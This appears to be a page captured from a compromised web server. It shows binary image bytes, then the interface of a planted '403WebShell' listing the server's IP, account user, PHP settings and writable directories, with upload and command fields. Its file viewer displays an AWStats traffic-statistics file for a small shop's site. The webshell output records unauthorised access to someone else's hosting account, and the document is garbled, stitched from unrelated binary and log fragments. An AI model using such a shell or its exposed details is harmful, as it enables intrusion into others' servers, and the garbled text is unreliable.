....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.19.154.92  /  Your IP : 216.73.216.47
Web Server : Apache
System : Linux lon12.onrocket.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC 2023 x86_64
User : gd5hzp4 ( 1069)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gd5hzp4/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gd5hzp4/tmp/awstats/ssl/awstats122024.caketoppers.gd5hxejij3.onrocket.site.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202412 will be lost/reset.
# Last config file used to build this data file was /home/gd5hzp4/tmp/awstats/ssl/awstats.caketoppers.gd5hxejij3.onrocket.site.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2036                
POS_TIME 2719                
POS_VISITOR 25112               
POS_DAY 64665               
POS_DOMAIN 3731                
POS_LOGIN 5195                
POS_ROBOT 5350                
POS_WORMS 6697                
POS_EMAILSENDER 6828                
POS_EMAILRECEIVER 6971                
POS_SESSION 65616               
POS_SIDER 65827               
POS_FILETYPES 7106                
POS_DOWNLOADS 7446                
POS_OS 7673                
POS_BROWSER 8136                
POS_SCREENSIZE 12022               
POS_UNKNOWNREFERER 12096               
POS_UNKNOWNREFERERBROWSER 13193               
POS_ORIGIN 13763               
POS_SEREFERRALS 13907               
POS_PAGEREFS 14155               
POS_SEARCHWORDS 14568               
POS_KEYWORDS 14720               
POS_MISC 2382                
POS_ERRORS 14779               
POS_CLUSTER 5051                
POS_SIDER_404 14947               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250101000606 316 69301 16497602423732
FirstTime 20241201002113
LastTime 20241231234533
LastUpdate 20250101123106 316 0 315 0 0
TotalVisits 1126                
TotalUnique 887                 
MonthHostsKnown 0                   
MonthHostsUnknown 1033                
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
WindowsMediaPlayerSupport 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 46 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 363 506 71077869 783 868 78272209
1 238 267 14583438 180 248 25409259
2 301 410 26706518 339 406 37817482
3 337 587 24571676 499 560 56479423
4 301 578 42160823 707 784 75694626
5 383 430 18940162 555 637 48770443
6 306 529 26941972 185 237 27880192
7 300 336 16168466 461 554 54451791
8 297 421 29240262 217 314 34884557
9 367 450 28527023 253 350 46087786
10 247 389 33554698 268 345 35662114
11 238 373 18816282 287 362 46296535
12 431 766 42156659 302 366 22366038
13 328 423 18449685 630 673 50531288
14 320 440 12902417 666 737 58122912
15 486 677 31096115 1089 1167 94303855
16 325 377 12791936 977 1109 111901941
17 366 441 23179055 1023 1090 103622005
18 513 616 29854082 723 813 83982108
19 390 478 31696446 528 629 66462118
20 403 438 23635984 657 749 80862194
21 476 579 32939891 304 381 37727379
22 513 632 35620936 384 451 48283487
23 227 285 20332010 293 332 35642062
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 79
us 6180 7501 241846333
ru 465 565 67806680
gb 322 1125 80060275
kr 173 219 14543876
au 160 248 24129173
in 117 139 23079153
nl 86 121 13551614
kh 81 81 13966226
lv 57 57 7310361
ca 57 79 10695296
ua 48 48 5104298
np 42 42 7292574
pl 40 40 3933921
es 39 39 4539774
de 38 137 25352498
kw 37 38 3371443
jp 33 34 6108373
vn 30 30 5068439
id 29 46 7248228
gr 29 29 4386496
cl 25 25 4226211
lb 23 23 3618530
mk 20 21 3837669
ph 20 61 2386541
ng 20 22 4568065
hu 1 2 2310
il 12 12 844540
kz 3 3 524197
cr 1 1 157313
fr 19 19 1948491
ni 0 1 486708
mu 4 4 726633
ge 2 2 315876
bw 1 1 206289
ar 7 26 1746666
iq 1 1 188352
it 1 1 158818
am 1 1 166950
gy 1 1 164541
se 5 5 637163
my 1 2 257388
bg 10 10 1413158
cn 18 68 2730422
sc 10 10 1574951
eu 1 1 158892
fi 0 2 928382
ee 1 1 157007
bd 3 19 8281864
pk 0 1 422800
tr 1 1 188751
ve 1 1 188326
mn 1 1 155668
bz 10 125 15111739
hn 3 3 36339
al 2 2 315735
ma 6 6 942103
be 16 17 2423837
gt 0 1 48640
no 6 6 948084
ir 3 3 784727
ro 19 34 2099665
eg 11 23 1731636
lk 2 4 1282975
hk 1 2 668033
mx 19 123 10645817
br 7 7 1172459
zz 2 2 174
im 5 19 1171859
by 5 5 787626
ao 20 20 3440012
za 5 7 1431978
fo 12 24 2665137
az 20 20 3439994
dk 0 1 49343
pe 1 1 188204
ke 2 2 412594
mz 2 2 412589
na 0 1 484827
pr 0 1 483776
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 31
MJ12bot/ 3970 726602789 20241230104605 0
Googlebot/ 1049 85865927 20241231151419 12
bingbot/ 483 46813613 20241231233540 2
Googlebot\-Image/ 323 97843190 20241231223336 0
AhrefsBot/ 291 22438444 20241230232532 1
Applebot/ 244 11254070 20241231232200 0
DotBot/ 184 81236366 20241230205107 0
bot[\s_+:,\.\;\/\\-] 165 6159482 20241231210719 9
SemrushBot/ 78 8629171 20241231013217 4
SeznamBot/ 22 110169 20241231081038 0
link 20 3522981 20241213085236 0
Barkrowler 19 1604455 20241230110924 0
YandexBot/ 13 549812 20241231211544 1
CCBot/ 12 356696 20241203012050 0
aiHitBot/ 11 978331 20241212192351 0
CFNetwork 7 55895 20241231032807 0
unknown 6 456 20241219082551 6
crawl 5 6770 20241224102449 0
nutch 5 12684 20241214070402 0
facebookexternalhit/ 4 2668 20241226081425 3
Apache\-HttpClient/ 4 611517 20241226150721 0
YandexImages/ 3 1076002 20241222222916 0
360Spider 3 4215 20241216173527 0
urllib 2 16977 20241218180252 0
Pinterestbot 2 122953 20241229212429 1
curl 1 1354 20241206130106 0
Mail\.RU_Bot/ 1 905 20241224020844 0
Dalvik/ 1 375385 20241205132229 0
(firefox/)([0-9]\.|[0-1][0]\.) 1 141 20241209111302 0
Sogou[\x20]web[\x20]spider/ 1 76 20241217022009 1
Mediapartners-Google 1 153546 20241231063345 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 14
Unknown 626 8009858 0 0
xml 43 286006 0 0
woff2 51 896248 0 0
php 5030 483825 0 0
jpg 1590 276239154 0 0
gif 5 9556 0 0
txt 1 25211 0 0
png 334 17376064 0 0
html 2666 328944761 0 0
css 370 11306776 0 0
ttf 35 86460 0 0
svg 123 215563 0 0
js 549 21989231 0 0
woff 5 75692 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 2
/wp-content/plugins/woocommerce/readme.txt 1 0 25211
/wp-content/uploads/1657053491-93ba92a6012389089d7fafdce345c4758a79c0ad/sql/wp_woocommerce_shipping_zone_methods.txt 1 0 2484
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 27
androidpie 82 7
ios_ipad 179 18
macosx10 1 1
Unknown 5468 5425
androidnougat 93 12
win8.1 296 293
android10 300 57
win8 10 10
ios_iphone 1088 551
android 53 5
win7 74 72
macosx12 23 21
linuxubuntu 13 0
macosx14 9 7
macosx11 64 42
macosx13 2 2
androidlollipop 1 0
winxp 6 3
macosx9 1 0
unix 86 16
macosx15 804 613
androidoreo 114 12
win10 1760 1079
winlong 1 1
macosx 3 3
winnt 31 31
linux 866 175
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 178
safari18.2 9 7
safari16.5 21 3
firefox117.0 1 1
firefox75.0 2 0
chrome98.0.4758.81 1 1
chrome89.0.4389.82 1 1
chrome60.0.3112.107 1 1
chrome124.0.0.0 38 37
safari10.0.3 1 1
chrome75.0.3770.100 1 1
chrome130.0.0.0 83 15
chrome28.0.1464.0 1 1
chrome101.0.4951.64 2 2
chrome80.0.3987.162 1 1
chrome112.0.0.0 13 10
firefox131.0 12 12
chrome80.0.3987.122 1 1
chrome127.0.0 12 12
chrome112.0.5614.0 1 1
chrome65.0.3325.146 3 3
chrome107.0.0.0 21 7
safari16.1 5 4
chrome118.0.0.0 8 8
safari16.2 91 9
chrome126.0.0.0 129 2
chrome131.0.6778.135 5 0
safari18.0 1 0
chrome71.0.3578.99 1 1
chrome131.0.6778.39 4 0
chrome131.0.0.0 937 195
chrome130.0.6723.108 1 0
chrome122.0.6261.64 1 0
chrome50.0.2661.94 1 1
chrome58.0.3029.110 2 0
opera75.0.2254.68857 37 2
chrome119.0.6045.106 9 1
chrome83.0.4103.97 4 4
chrome80.0.3987.132 2 2
chrome89.0.4389.90 1 0
chrome131.0.6778.105 1 0
chrome92.0.4515.159 7 5
chrome90.0.4430.212 1 1
chrome124.0.6367.78 21 21
edge44 1 1
chrome94.0.4590.2 90 10
chrome101.0.4951.0 9 2
msie7.0 1 1
chrome103.0.5042.0 1 1
chrome103.0.5060.66 5 5
chrome120.0.6099.28 22 8
iphone 1 0
safari13.0.3 23 23
chrome131.0.6778.200 1 0
firefox61.0 1 1
firefox54.0 2 0
chrome90.0.4430.85 3 3
chrome24.0.1292.0 1 1
chrome89.0.4389.114 2 1
chrome103.0.5060.114 8 8
chrome88.0.4324.192 1 1
chrome86.0.4240.198 1 1
chrome65.0.3325.162 1 1
chrome130.0.6723.142 82 7
chrome83.0.4103.61 2 2
chrome133.0.0.0 21 0
chrome51.0.2704.63 1 1
chrome79.0.3945.79 3 2
chrome44.0.2403.157 2 0
firefox96.0 4 4
firefox110.0 3 3
chrome114.0.0.0 4 2
chrome122.0.0.0 4 0
chrome84.0.4147.105 4 4
chrome81.0.4044.127 1 0
chrome73.0.3683.103 1 1
chrome124.0.6367.63 18 18
chrome30.0.1599.66 7 7
opera52.0.2871.40 1 1
firefox111.0 2 2
chrome124.0.6367.91 14 14
firefox112.0 6 6
chrome101.0.4951.67 4 4
chrome116.0.0.0 120 21
chrome52.0.2743.116 1 1
safari13.1 3 0
chrome129.0.6668.70 1 0
chrome75.0.3770.142 1 1
chrome80.0.3987.149 2 2
edge16 2 0
chrome124.0.6367.60 37 37
chrome109.0.0.0 44 0
chrome78.0.3904.97 1 1
chrome98.0.4758.80 1 1
safari17.5 36 20
safari12.1.2 2 0
chrome86.0.4240.111 4 4
safari17.0 3 0
chrome124.0.6367.61 36 36
chrome124.0.6367.93 10 10
safari17.1 1 0
chrome103.0.0.0 313 313
chrome120.0.6099.71 1 1
opera34.0.2036.36 5 5
safari15.4 14 4
chrome94.0.4606.114 1 1
Unknown 5376 5355
firefox52.0 67 42
msie11.0 8 6
mozilla 46 23
chrome114.0.5735.196 1 0
chrome124.0.6367.119 38 38
chrome124.0.6367.92 19 19
safari16.6 107 30
safari 392 111
chrome86.0.4240.183 1 1
chrome108.0.0.0 10 8
chrome117.0.0.0 9 9
chrome100.0.4896.75 1 1
chrome84.0.4147.89 1 1
chrome68.0.3440.106 4 1
chrome63.0.3235.0 1 1
safari10.1.2 22 20
chrome81.0.4044.138 484 481
chrome129.0.0.0 3 0
chrome81.0.4044.122 4 1
chrome124.0.6367.62 17 17
chrome110.0.0.0 4 3
chrome131.0.6778.87 66 59
chrome123.0.0.0 22 22
chrome63.0.3239.132 3 0
chrome125.0.0.0 517 75
chrome126.0.6478.115 1 1
